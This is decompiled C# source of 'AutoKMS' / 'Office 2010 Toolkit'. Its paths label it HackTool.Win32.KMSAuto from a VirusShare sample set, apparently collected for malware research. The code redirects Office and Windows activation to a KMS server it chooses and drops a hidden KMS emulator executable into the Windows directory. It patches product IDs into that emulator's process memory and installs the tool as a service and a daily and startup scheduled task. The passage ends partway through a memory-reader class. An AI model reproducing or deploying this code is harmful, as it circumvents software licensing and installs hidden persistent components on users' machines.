+      iniFile.IniWriteValue("AutoKMS", "UseKMSEmulator", Settings.AutoKMSSettings.UseKMSEmulator.ToString());
+      iniFile.IniWriteValue("AutoKMS", "KMSPID", Settings.AutoKMSSettings.KMSPID.ToString());
+      iniFile.IniWriteValue("AutoRearm", "Retail2VL", Settings.AutoRearmSettings.Retail2VL.ToString());
+      iniFile.IniWriteValue("AutoRearm", "Logging", Settings.AutoRearmSettings.Logging.ToString());
+      iniFile.IniWriteValue("EZ-Activator", "ActAttempts", Settings.EZActivatorSettings.ActAttempts.ToString());
+      iniFile.IniWriteValue("EZ-Activator", "PIDAttempts", Settings.EZActivatorSettings.PIDAttempts.ToString());
+      iniFile.IniWriteValue("EZ-Activator", "CMIDAttempts", Settings.EZActivatorSettings.CMIDAttempts.ToString());
+      iniFile.IniWriteValue("EZ-Activator", "AutoLicRepairAll", Settings.EZActivatorSettings.AutoLicRepairAll.ToString());
+      iniFile.IniWriteValue("EZ-Activator", "AutoMakeRestoreBackup", Settings.EZActivatorSettings.AutoMakeRestoreBackup.ToString());
+      iniFile.IniWriteValue("EZ-Activator", "ChangePID", Settings.EZActivatorSettings.ChangePID.ToString());
+      iniFile.IniWriteValue("EZ-Activator", "ChangeCMID", Settings.EZActivatorSettings.ChangeCMID.ToString());
+      iniFile.IniWriteValue("EZ-Activator", "InstallAutoKMS", Settings.EZActivatorSettings.InstallAutoKMS.ToString());
+      iniFile.IniWriteValue("EZ-Activator", "MAK2KMS", Settings.EZActivatorSettings.MAK2KMS.ToString());
+      iniFile.IniWriteValue("EZ-Activator", "RemoveRetailKeys", Settings.EZActivatorSettings.RemoveRetailKeys.ToString());
+      iniFile.IniWriteValue("EZ-Activator", "Retail2VL", Settings.EZActivatorSettings.Retail2VL.ToString());
+      iniFile.IniWriteValue("EZ-Activator", "StarterSub2Bypass", Settings.EZActivatorSettings.StarterSub2Bypass.ToString());
+      iniFile.IniWriteValue("Paths", "AutoKMS", Settings.PathsSettings.AutoKMS.ToString());
+      iniFile.IniWriteValue("Paths", "AutoRearm", Settings.PathsSettings.AutoRearm.ToString());
+      iniFile.IniWriteValue("Paths", "KMSEmulator", Settings.PathsSettings.KMSEmulator.ToString());
+    }
+
+    public static void MakeNewAutoKMSINIFile()
+    {
+      string str = Settings.GetAutoKMSPath() + "\\AutoKMS.ini";
+      FileInfo fileInfo = new FileInfo(str);
+      if (fileInfo.Exists)
+        fileInfo.Delete();
+      IniFile iniFile = new IniFile(str);
+      iniFile.IniWriteValue("SettingsID", "ID", Settings.SettingsID.ID);
+      iniFile.IniWriteValue("AutoKMS", "ActAttempts", Settings.AutoKMSSettings.ActAttempts.ToString());
+      iniFile.IniWriteValue("AutoKMS", "ActivateWindows", Settings.AutoKMSSettings.ActivateWindows.ToString());
+      iniFile.IniWriteValue("AutoKMS", "AutoRemoveKMSEmulator", Settings.AutoKMSSettings.AutoRemoveKMSEmulator.ToString());
+      iniFile.IniWriteValue("AutoKMS", "AutoRemoveKMSHost", Settings.AutoKMSSettings.AutoRemoveKMSHost.ToString());
+      iniFile.IniWriteValue("AutoKMS", "KMSServer", Settings.AutoKMSSettings.KMSServer.ToString());
+      iniFile.IniWriteValue("AutoKMS", "Logging", Settings.AutoKMSSettings.Logging.ToString());
+      iniFile.IniWriteValue("AutoKMS", "UseKMSEmulator", Settings.AutoKMSSettings.UseKMSEmulator.ToString());
+      iniFile.IniWriteValue("AutoKMS", "KMSPID", Settings.AutoKMSSettings.KMSPID.ToString());
+      iniFile.IniWriteValue("Paths", "AutoKMS", Settings.PathsSettings.AutoKMS.ToString());
+      iniFile.IniWriteValue("Paths", "AutoRearm", Settings.PathsSettings.AutoRearm.ToString());
+      iniFile.IniWriteValue("Paths", "KMSEmulator", Settings.PathsSettings.KMSEmulator.ToString());
+    }
+
+    public static void MakeNewAutoRearmINIFile()
+    {
+      string str = Settings.GetAutoRearmPath() + "\\AutoRearm.ini";
+      FileInfo fileInfo = new FileInfo(str);
+      if (fileInfo.Exists)
+        fileInfo.Delete();
+      IniFile iniFile = new IniFile(str);
+      iniFile.IniWriteValue("SettingsID", "ID", Settings.SettingsID.ID);
+      iniFile.IniWriteValue("AutoRearm", "Retail2VL", Settings.AutoRearmSettings.Retail2VL.ToString());
+      iniFile.IniWriteValue("AutoRearm", "Logging", Settings.AutoRearmSettings.Logging.ToString());
+      iniFile.IniWriteValue("Paths", "AutoKMS", Settings.PathsSettings.AutoKMS.ToString());
+      iniFile.IniWriteValue("Paths", "AutoRearm", Settings.PathsSettings.AutoRearm.ToString());
+      iniFile.IniWriteValue("Paths", "KMSEmulator", Settings.PathsSettings.KMSEmulator.ToString());
+    }
+
+    public static void LoadINISettings()
+    {
+      string str = Directory.GetCurrentDirectory() + "\\Settings.ini";
+      FileInfo fileInfo = new FileInfo(str);
+      IniFile iniFile = new IniFile(str);
+      string id = Settings.SettingsID.ID;
+      if (iniFile.IniReadValue("SettingsID", "ID") == id)
+      {
+        Settings.GlobalSettings.AutoRemoveKMSEmulator = Convert.ToBoolean(iniFile.IniReadValue("Global", "AutoRemoveKMSEmulator").ToLower());
+        Settings.GlobalSettings.AutoRemoveKMSHost = Convert.ToBoolean(iniFile.IniReadValue("Global", "AutoRemoveKMSHost").ToLower());
+        Settings.GlobalSettings.KMSServer = iniFile.IniReadValue("Global", "KMSServer");
+        Settings.GlobalSettings.UseKMSEmulator = Convert.ToBoolean(iniFile.IniReadValue("Global", "UseKMSEmulator").ToLower());
+        Settings.GlobalSettings.VerboseCheckActivation = Convert.ToBoolean(iniFile.IniReadValue("Global", "VerboseCheckActivation").ToLower());
+        Settings.GlobalSettings.ShowCMID = Convert.ToBoolean(iniFile.IniReadValue("Global", "ShowCMID").ToLower());
+        Settings.GlobalSettings.KMSPID = iniFile.IniReadValue("Global", "KMSPID");
+        Settings.AutoKMSSettings.ActAttempts = Convert.ToInt32(iniFile.IniReadValue("AutoKMS", "ActAttempts"));
+        Settings.AutoKMSSettings.ActivateWindows = Convert.ToBoolean(iniFile.IniReadValue("AutoKMS", "ActivateWindows"));
+        Settings.AutoKMSSettings.AutoRemoveKMSEmulator = Convert.ToBoolean(iniFile.IniReadValue("AutoKMS", "AutoRemoveKMSEmulator").ToLower());
+        Settings.AutoKMSSettings.AutoRemoveKMSHost = Convert.ToBoolean(iniFile.IniReadValue("AutoKMS", "AutoRemoveKMSHost").ToLower());
+        Settings.AutoKMSSettings.KMSServer = iniFile.IniReadValue("AutoKMS", "KMSServer");
+        Settings.AutoKMSSettings.Logging = Convert.ToBoolean(iniFile.IniReadValue("AutoKMS", "Logging").ToLower());
+        Settings.AutoKMSSettings.UseKMSEmulator = Convert.ToBoolean(iniFile.IniReadValue("AutoKMS", "UseKMSEmulator").ToLower());
+        Settings.AutoKMSSettings.KMSPID = iniFile.IniReadValue("AutoKMS", "KMSPID");
+        Settings.AutoRearmSettings.Retail2VL = Convert.ToBoolean(iniFile.IniReadValue("AutoRearm", "Retail2VL").ToLower());
+        Settings.AutoRearmSettings.Logging = Convert.ToBoolean(iniFile.IniReadValue("AutoRearm", "Logging").ToLower());
+        Settings.EZActivatorSettings.ActAttempts = Convert.ToInt32(iniFile.IniReadValue("EZ-Activator", "ActAttempts"));
+        Settings.EZActivatorSettings.PIDAttempts = Convert.ToInt32(iniFile.IniReadValue("EZ-Activator", "PIDAttempts"));
+        Settings.EZActivatorSettings.CMIDAttempts = Convert.ToInt32(iniFile.IniReadValue("EZ-Activator", "CMIDAttempts"));
+        Settings.EZActivatorSettings.ChangePID = Convert.ToBoolean(iniFile.IniReadValue("EZ-Activator", "ChangePID").ToLower());
+        Settings.EZActivatorSettings.ChangeCMID = Convert.ToBoolean(iniFile.IniReadValue("EZ-Activator", "ChangeCMID").ToLower());
+        Settings.EZActivatorSettings.AutoLicRepairAll = Convert.ToBoolean(iniFile.IniReadValue("EZ-Activator", "AutoLicRepairAll").ToLower());
+        Settings.EZActivatorSettings.AutoMakeRestoreBackup = Convert.ToBoolean(iniFile.IniReadValue("EZ-Activator", "AutoMakeRestoreBackup").ToLower());
+        Settings.EZActivatorSettings.InstallAutoKMS = Convert.ToBoolean(iniFile.IniReadValue("EZ-Activator", "InstallAutoKMS").ToLower());
+        Settings.EZActivatorSettings.MAK2KMS = Convert.ToBoolean(iniFile.IniReadValue("EZ-Activator", "MAK2KMS").ToLower());
+        Settings.EZActivatorSettings.RemoveRetailKeys = Convert.ToBoolean(iniFile.IniReadValue("EZ-Activator", "RemoveRetailKeys").ToLower());
+        Settings.EZActivatorSettings.Retail2VL = Convert.ToBoolean(iniFile.IniReadValue("EZ-Activator", "Retail2VL").ToLower());
+        Settings.EZActivatorSettings.StarterSub2Bypass = Convert.ToBoolean(iniFile.IniReadValue("EZ-Activator", "StarterSub2Bypass").ToLower());
+        Settings.PathsSettings.AutoKMS = Convert.ToString(iniFile.IniReadValue("Paths", "AutoKMS"));
+        Settings.PathsSettings.AutoRearm = Convert.ToString(iniFile.IniReadValue("Paths", "AutoRearm"));
+        Settings.PathsSettings.KMSEmulator = Convert.ToString(iniFile.IniReadValue("Paths", "KMSEmulator"));
+      }
+      else
+      {
+        Settings.MakeDefaultToolkitINIFile();
+        Settings.LoadINISettings();
+      }
+    }
+
+    public static void LoadINISettingsAutoKMS()
+    {
+      string str = Settings.GetAutoKMSPath() + "\\AutoKMS.ini";
+      FileInfo fileInfo = new FileInfo(str);
+      IniFile iniFile = new IniFile(str);
+      string id = Settings.SettingsID.ID;
+      if (iniFile.IniReadValue("SettingsID", "ID") == id)
+      {
+        Settings.AutoKMSSettings.ActAttempts = Convert.ToInt32(iniFile.IniReadValue("AutoKMS", "ActAttempts"));
+        Settings.AutoKMSSettings.ActivateWindows = Convert.ToBoolean(iniFile.IniReadValue("AutoKMS", "ActivateWindows").ToLower());
+        Settings.AutoKMSSettings.AutoRemoveKMSEmulator = Convert.ToBoolean(iniFile.IniReadValue("AutoKMS", "AutoRemoveKMSEmulator").ToLower());
+        Settings.AutoKMSSettings.AutoRemoveKMSHost = Convert.ToBoolean(iniFile.IniReadValue("AutoKMS", "AutoRemoveKMSHost").ToLower());
+        Settings.AutoKMSSettings.KMSServer = iniFile.IniReadValue("AutoKMS", "KMSServer");
+        Settings.AutoKMSSettings.Logging = Convert.ToBoolean(iniFile.IniReadValue("AutoKMS", "Logging").ToLower());
+        Settings.AutoKMSSettings.UseKMSEmulator = Convert.ToBoolean(iniFile.IniReadValue("AutoKMS", "UseKMSEmulator").ToLower());
+        Settings.AutoKMSSettings.KMSPID = iniFile.IniReadValue("AutoKMS", "KMSPID");
+        Settings.PathsSettings.AutoKMS = Convert.ToString(iniFile.IniReadValue("Paths", "AutoKMS"));
+        Settings.PathsSettings.AutoRearm = Convert.ToString(iniFile.IniReadValue("Paths", "AutoRearm"));
+        Settings.PathsSettings.KMSEmulator = Convert.ToString(iniFile.IniReadValue("Paths", "KMSEmulator"));
+      }
+      else
+      {
+        Settings.MakeDefaultAutoKMSINIFile();
+        Settings.LoadINISettingsAutoKMS();
+      }
+    }
+
+    public static void LoadINISettingsAutoRearm()
+    {
+      string str = Settings.GetAutoRearmPath() + "\\AutoRearm.ini";
+      FileInfo fileInfo = new FileInfo(str);
+      IniFile iniFile = new IniFile(str);
+      string id = Settings.SettingsID.ID;
+      if (iniFile.IniReadValue("SettingsID", "ID") == id)
+      {
+        Settings.AutoRearmSettings.Retail2VL = Convert.ToBoolean(iniFile.IniReadValue("AutoRearm", "Retail2VL"));
+        Settings.AutoRearmSettings.Logging = Convert.ToBoolean(iniFile.IniReadValue("AutoRearm", "Logging").ToLower());
+        Settings.PathsSettings.AutoKMS = Convert.ToString(iniFile.IniReadValue("Paths", "AutoKMS"));
+        Settings.PathsSettings.AutoRearm = Convert.ToString(iniFile.IniReadValue("Paths", "AutoRearm"));
+        Settings.PathsSettings.KMSEmulator = Convert.ToString(iniFile.IniReadValue("Paths", "KMSEmulator"));
+      }
+      else
+      {
+        Settings.MakeDefaultAutoRearmINIFile();
+        Settings.LoadINISettingsAutoRearm();
+      }
+    }
+
+    public static void HandleReadOnly()
+    {
+      string str = Directory.GetCurrentDirectory() + "\\Settings.ini";
+      FileInfo fileInfo = new FileInfo(str);
+      if (fileInfo.Exists)
+      {
+        Settings.INIExists = true;
+        if (!fileInfo.IsReadOnly)
+          return;
+        Settings.ReadOnlyFile = true;
+      }
+      else
+      {
+        Settings.INIExists = false;
+        try
+        {
+          File.Create(str).Dispose();
+        }
+        catch (UnauthorizedAccessException ex)
+        {
+          Settings.ReadOnlyFolder = true;
+          Settings.ReadOnlyFile = true;
+        }
+        catch (Exception ex)
+        {
+          Settings.ReadOnlyFolder = true;
+          Settings.ReadOnlyFile = true;
+        }
+      }
+    }
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/Office_2010_Toolkit/Configuration/SettingsIDObject.cs

@@ -0,0 +1,15 @@
+// Decompiled with JetBrains decompiler
+// Type: Office_2010_Toolkit.Configuration.SettingsIDObject
+// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
+
+namespace Office_2010_Toolkit.Configuration
+{
+  public class SettingsIDObject
+  {
+    public string ID;
+
+    public SettingsIDObject() => this.ID = "2.1.6";
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/Office_2010_Toolkit/Logic/Activation.cs

@@ -0,0 +1,232 @@
+// Decompiled with JetBrains decompiler
+// Type: Office_2010_Toolkit.Logic.Activation
+// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
+
+using AutoKMS.Properties;
+using HybridService;
+using System;
+using System.Diagnostics;
+using System.Management;
+using System.Threading;
+using TaskScheduler;
+
+namespace Office_2010_Toolkit.Logic
+{
+  internal class Activation
+  {
+    public static string Account = "";
+    public static string Password = (string) null;
+    public static bool AKInstallFailure = false;
+    public static bool ARInstallFailure = false;
+    public static bool AKUnInstallFailure = false;
+    public static bool ARUnInstallFailure = false;
+    public static int LicensedProducts = 0;
+    public static int UnLicensedProducts = 0;
+    public static string AutoKMSInstallPath = string.Empty;
+    public static string AutoRearmInstallPath = string.Empty;
+    public static string KMSEmulatorInstallPath = string.Empty;
+
+    public static string CheckActivation(bool AppCall)
+    {
+      string str1 = string.Empty;
+      string empty = string.Empty;
+      try
+      {
+        Activation.LicensedProducts = 0;
+        Activation.UnLicensedProducts = 0;
+        foreach (ManagementObject managementObject in new ManagementObjectSearcher("root\\CIMV2", "SELECT * FROM OfficeSoftwareProtectionProduct").Get())
+        {
+          int int32 = Convert.ToInt32(managementObject["LicenseStatus"]);
+          long int64 = Convert.ToInt64(managementObject["LicenseStatusReason"]);
+          double num1 = Convert.ToDouble(managementObject["GracePeriodRemaining"]);
+          string str2 = int64 != 0L ? "0x" + int64.ToString("X8") : "0 as licensed";
+          if (int32 != 0)
+          {
+            ++Activation.LicensedProducts;
+            string str3 = int32 != 1 ? (int32 != 2 ? (int32 != 3 ? (int32 != 4 ? (int32 != 5 ? (int32 != 6 ? "Unknown" : "Extended Grace Period") : "Notifications Mode") : "Non-Genuine Grace Period") : "Out-of-Tolerance Grace Period") : "Grace Period") : "Activated";
+            double num2 = Math.Round(num1 / 1440.0);
+            str1 = str1 + "---------------------------------------" + Environment.NewLine;
+            str1 = str1 + "SKU ID: " + managementObject["ID"] + Environment.NewLine;
+            string str4 = managementObject["OfflineInstallationId"].ToString();
+            string str5 = str4.Substring(0, 6) + "-" + str4.Substring(6, 6) + "-" + str4.Substring(12, 6) + "-" + str4.Substring(18, 6) + "-" + str4.Substring(24, 6) + "-" + str4.Substring(30, 6) + "-" + str4.Substring(36, 6) + "-" + str4.Substring(42, 6) + "-" + str4.Substring(48, 6);
+            str1 = str1 + "OID: " + str5 + Environment.NewLine;
+            str1 = str1 + "LICENSE NAME: Office 14, " + managementObject["LicenseFamily"] + Environment.NewLine;
+            str1 = str1 + "LICENSE DESCRIPTION: " + managementObject["Description"] + Environment.NewLine;
+            str1 = str1 + "LICENSE STATUS: " + str3 + Environment.NewLine;
+            str1 = str1 + "ERROR CODE: " + str2 + Environment.NewLine;
+            str1 = str1 + "Last 5 characters of installed product key: " + managementObject["PartialProductKey"] + Environment.NewLine;
+            if (str3 == "Activated" || str3 == "Grace Period" && num1 != 0.0)
+              str1 = str1 + "REMAINING GRACE: " + (object) num2 + " days  (" + (object) num1 + " minute(s) before expiring)" + Environment.NewLine;
+          }
+          else
+            ++Activation.UnLicensedProducts;
+        }
+      }
+      catch (Exception ex)
+      {
+        return "<No installed product keys installed or possible license error>";
+      }
+      if (Activation.LicensedProducts == 0 && Activation.UnLicensedProducts > 0)
+        return "<No installed product keys detected>";
+      return Activation.LicensedProducts == 0 && Activation.UnLicensedProducts == 0 ? "<No installed product keys installed or possible license error>" : str1 + "---------------------------------------";
+    }
+
+    public static void RemoveKMSHost()
+    {
+      try
+      {
+        new ManagementObject("root\\CIMV2", "OfficeSoftwareProtectionService.Version='" + Common.OSPPSVCVersion + "'", (ObjectGetOptions) null).InvokeMethod("ClearKeyManagementServiceMachine", (ManagementBaseObject) null, (InvokeMethodOptions) null);
+      }
+      catch (Exception ex)
+      {
+        throw new Exception();
+      }
+    }
+
+    public static void RemoveKMSHostWindows()
+    {
+      string empty = string.Empty;
+      try
+      {
+        foreach (ManagementBaseObject managementBaseObject in new ManagementObjectSearcher("root\\CIMV2", "SELECT * FROM SoftwareLicensingService").Get())
+          empty = Convert.ToString(managementBaseObject["Version"]);
+        new ManagementObject("root\\CIMV2", "SoftwareLicensingService.Version='" + empty + "'", (ObjectGetOptions) null).InvokeMethod("ClearKeyManagementServiceMachine", (ManagementBaseObject) null, (InvokeMethodOptions) null);
+      }
+      catch (Exception ex)
+      {
+        throw new Exception();
+      }
+    }
+
+    public static void SetKMSHost()
+    {
+      try
+      {
+        ManagementObject managementObject = new ManagementObject("root\\CIMV2", "OfficeSoftwareProtectionService.Version='" + Common.OSPPSVCVersion + "'", (ObjectGetOptions) null);
+        ManagementBaseObject methodParameters = managementObject.GetMethodParameters("SetKeyManagementServiceMachine");
+        methodParameters["MachineName"] = (object) Office_2010_Toolkit.Configuration.Settings.AutoKMSSettings.KMSServer;
+        managementObject.InvokeMethod("SetKeyManagementServiceMachine", methodParameters, (InvokeMethodOptions) null);
+      }
+      catch (Exception ex)
+      {
+        throw new Exception();
+      }
+    }
+
+    public static void SetKMSHostWindows()
+    {
+      string empty = string.Empty;
+      try
+      {
+        foreach (ManagementBaseObject managementBaseObject in new ManagementObjectSearcher("root\\CIMV2", "SELECT * FROM SoftwareLicensingService").Get())
+          empty = Convert.ToString(managementBaseObject["Version"]);
+        ManagementObject managementObject = new ManagementObject("root\\CIMV2", "SoftwareLicensingService.Version='" + empty + "'", (ObjectGetOptions) null);
+        ManagementBaseObject methodParameters = managementObject.GetMethodParameters("SetKeyManagementServiceMachine");
+        methodParameters["MachineName"] = (object) Office_2010_Toolkit.Configuration.Settings.AutoKMSSettings.KMSServer;
+        managementObject.InvokeMethod("SetKeyManagementServiceMachine", methodParameters, (InvokeMethodOptions) null);
+      }
+      catch (Exception ex)
+      {
+        throw new Exception();
+      }
+    }
+
+    public static void StartKMSEmulator()
+    {
+      try
+      {
+        try
+        {
+          Activation.KMSEmulatorInstallPath = Office_2010_Toolkit.Configuration.Settings.PathsSettings.KMSEmulator;
+          Common.FileCreate("KMSEmulator.exe", Resources.Keygen, Activation.KMSEmulatorInstallPath);
+          new Process()
+          {
+            StartInfo = {
+              FileName = (Activation.KMSEmulatorInstallPath + "\\KMSEmulator.exe"),
+              CreateNoWindow = true,
+              WindowStyle = ProcessWindowStyle.Hidden
+            }
+          }.Start();
+        }
+        catch (Exception ex)
+        {
+          Activation.KMSEmulatorInstallPath = Common.WINDIR;
+          Console.WriteLine("Could not access KMSEmulator path set in Settings, using default installation path.");
+          Common.FileCreate("KMSEmulator.exe", Resources.Keygen, Activation.KMSEmulatorInstallPath);
+          new Process()
+          {
+            StartInfo = {
+              FileName = (Activation.KMSEmulatorInstallPath + "\\KMSEmulator.exe"),
+              CreateNoWindow = true,
+              WindowStyle = ProcessWindowStyle.Hidden
+            }
+          }.Start();
+        }
+      }
+      catch (Exception ex)
+      {
+        throw;
+      }
+      Thread.Sleep(5000);
+    }
+
+    public static void StopKMSEmulator()
+    {
+      foreach (Process process in Process.GetProcessesByName("KMSEmulator"))
+        Common.KillProcess(process);
+      if (!Office_2010_Toolkit.Configuration.Settings.AutoKMSSettings.AutoRemoveKMSEmulator)
+        return;
+      try
+      {
+        Common.FileDelete(Activation.KMSEmulatorInstallPath + "\\KMSEmulator.exe");
+      }
+      catch (Exception ex)
+      {
+        throw;
+      }
+    }
+
+    public static void MakeAutoKMSService(string AutoKMSInstallPath)
+    {
+      try
+      {
+        ServiceInstaller.InstallService(AutoKMSInstallPath + "\\AutoKMS.exe", "AutoKMS", "AutoKMS", true, false);
+      }
+      catch (Exception ex)
+      {
+        throw new Exception();
+      }
+    }
+
+    public static void MakeAutoKMSNormalTask(string AutoKMSInstallPath)
+    {
+      ScheduledTasks scheduledTasks = new ScheduledTasks();
+      Task task = scheduledTasks.CreateTask("AutoKMS");
+      task.ApplicationName = AutoKMSInstallPath + "\\AutoKMS.exe";
+      task.Parameters = "/Application";
+      task.SetAccountInformation(Activation.Account, Activation.Password);
+      task.Priority = ProcessPriorityClass.Normal;
+      Trigger trigger = (Trigger) new DailyTrigger(Convert.ToInt16(DateTime.Now.Hour), Convert.ToInt16(DateTime.Now.Minute));
+      task.Triggers.Add(trigger);
+      task.Triggers.Add((Trigger) new OnSystemStartTrigger());
+      task.Save();
+      task.Close();
+      scheduledTasks.Dispose();
+    }
+
+    public static void DeleteAutoKMSNormalTask()
+    {
+      ScheduledTasks scheduledTasks = new ScheduledTasks();
+      try
+      {
+        scheduledTasks.DeleteTask("AutoKMS");
+        scheduledTasks.DeleteTask("AutoKMSDaily");
+      }
+      catch
+      {
+      }
+    }
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/Office_2010_Toolkit/Logic/KMSEditor.cs

@@ -0,0 +1,101 @@
+// Decompiled with JetBrains decompiler
+// Type: Office_2010_Toolkit.Logic.KMSEditor
+// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
+
+using ProcessMemoryReaderLib;
+using System;
+using System.Diagnostics;
+using System.IO;
+using System.Text;
+
+namespace Office_2010_Toolkit.Logic
+{
+  internal class KMSEditor
+  {
+    public static Stream ConvertByteArrayToStream(byte[] input) => (Stream) new MemoryStream(input);
+
+    public static byte[] StrToByteArray(string str) => Encoding.Unicode.GetBytes(str);
+
+    public static string ReadPIDFromByteArray(byte[] KMSEmulator)
+    {
+      Stream stream = KMSEditor.ConvertByteArrayToStream(KMSEmulator);
+      byte[] bytes = new byte[48];
+      int index = 0;
+      for (stream.Position = 136932L; stream.Position != 137028L; ++stream.Position)
+      {
+        bytes[index] = (byte) stream.ReadByte();
+        ++index;
+      }
+      return Encoding.ASCII.GetString(bytes);
+    }
+
+    public static string ReadPIDFromFile(string path)
+    {
+      byte[] bytes = new byte[48];
+      int index = 0;
+      FileStream fileStream1;
+      using (FileStream fileStream2 = new FileStream(path, FileMode.Open, FileAccess.ReadWrite))
+      {
+        for (fileStream2.Position = 136932L; fileStream2.Position != 137028L; ++fileStream1.Position)
+        {
+          bytes[index] = (byte) fileStream2.ReadByte();
+          ++index;
+          fileStream1 = fileStream2;
+        }
+      }
+      return Encoding.ASCII.GetString(bytes);
+    }
+
+    public static string ReadPIDFromMemory()
+    {
+      int bytesRead = 0;
+      ProcessMemoryReader processMemoryReader = new ProcessMemoryReader();
+      Process process = (Process) null;
+      Process[] processes = Process.GetProcesses();
+      IntPtr MemoryAddress = (IntPtr) 4331234;
+      for (int index = 0; index < processes.Length; ++index)
+      {
+        if (processes[index].ProcessName == "KMSEmulator")
+          process = processes[index];
+      }
+      processMemoryReader.ReadProcess = process;
+      processMemoryReader.OpenProcess();
+      return Encoding.Unicode.GetString(processMemoryReader.ReadProcessMemory(MemoryAddress, 98U, out bytesRead));
+    }
+
+    public static void WritePIDToMemory(string PID)
+    {
+      int bytesWritten = 0;
+      ProcessMemoryReader processMemoryReader = new ProcessMemoryReader();
+      Process process = (Process) null;
+      Process[] processes = Process.GetProcesses();
+      IntPtr MemoryAddress = (IntPtr) 4331236;
+      byte[] byteArray = KMSEditor.StrToByteArray(PID);
+      for (int index = 0; index < processes.Length; ++index)
+      {
+        if (processes[index].ProcessName == "KMSEmulator")
+          process = processes[index];
+      }
+      processMemoryReader.ReadProcess = process;
+      processMemoryReader.OpenProcess();
+      processMemoryReader.WriteProcessMemory(MemoryAddress, byteArray, out bytesWritten);
+    }
+
+    public static void WritePIDToFile(string path, string PID)
+    {
+      int index = 0;
+      FileStream fileStream1;
+      using (FileStream fileStream2 = new FileStream(path, FileMode.Open, FileAccess.ReadWrite))
+      {
+        for (fileStream2.Position = 136932L; fileStream2.Position != 137028L; ++fileStream1.Position)
+        {
+          fileStream2.WriteByte((byte) PID[index]);
+          ++index;
+          fileStream1 = fileStream2;
+        }
+      }
+    }
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/Office_2010_Toolkit/Result.cs

@@ -0,0 +1,75 @@
+// Decompiled with JetBrains decompiler
+// Type: Office_2010_Toolkit.Result
+// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
+
+namespace Office_2010_Toolkit
+{
+  public class Result
+  {
+    private int _ExitCode;
+    private string _Output;
+    public string _Error;
+
+    public int ExitCode
+    {
+      get => this._ExitCode;
+      set => this._ExitCode = value;
+    }
+
+    public string Output
+    {
+      get => this._Output;
+      set => this._Output = value;
+    }
+
+    public string Error
+    {
+      get => this._Error;
+      set
+      {
+        this._Error = value;
+        if (this._ExitCode != 0)
+          return;
+        this._ExitCode = -1;
+      }
+    }
+
+    public Result()
+    {
+      this._ExitCode = 0;
+      this._Output = string.Empty;
+      this._Error = string.Empty;
+    }
+
+    public Result(int Exit_Code)
+    {
+      this._ExitCode = Exit_Code;
+      this._Output = string.Empty;
+      this._Error = string.Empty;
+    }
+
+    public Result(string Out_Put)
+    {
+      this._ExitCode = 0;
+      this._Output = Out_Put;
+      this._Error = string.Empty;
+    }
+
+    public Result(int Exit_Code, string Out_Put)
+    {
+      this._ExitCode = Exit_Code;
+      this._Output = Out_Put;
+      this._Error = string.Empty;
+    }
+
+    public bool HasError
+    {
+      get => this._ExitCode != 0;
+      set
+      {
+      }
+    }
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/ProcessMemoryReaderLib/ProcessMemoryReader.cs

@@ -0,0 +1,47 @@
+// Decompiled with JetBrains decompiler
+// Type: ProcessMemoryReaderLib.ProcessMemoryReader
+// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
+
+using System;
+using System.Diagnostics;
+
+namespace ProcessMemoryReaderLib
+{
+  public class ProcessMemoryReader
+  {
+    private Process m_ReadProcess;
+    private IntPtr m_hProcess = IntPtr.Zero;
+
+    public Process ReadProcess
+    {
+      get => this.m_ReadProcess;
+      set => this.m_ReadProcess = value;
+    }
+
+    public void OpenProcess() => this.m_hProcess = ProcessMemoryReaderApi.OpenProcess(56U, 1, (uint) this.m_ReadProcess.Id);
+
+    public void CloseHandle()
+    {
+      if (ProcessMemoryReaderApi.CloseHandle(this.m_hProcess) == 0)
+        throw new Exception("CloseHandle failed");
+    }
+
+    public byte[] ReadProcessMemory(IntPtr MemoryAddress, uint bytesToRead, out int bytesRead)
+    {
+      byte[] buffer = new byte[(IntPtr) bytesToRead];
+      IntPtr lpNumberOfBytesRead;
+      ProcessMemoryReaderApi.ReadProcessMemory(this.m_hProcess, MemoryAddress, buffer, bytesToRead, out lpNumberOfBytesRead);
+      bytesRead = lpNumberOfBytesRead.ToInt32();
+      return buffer;
+    }
+
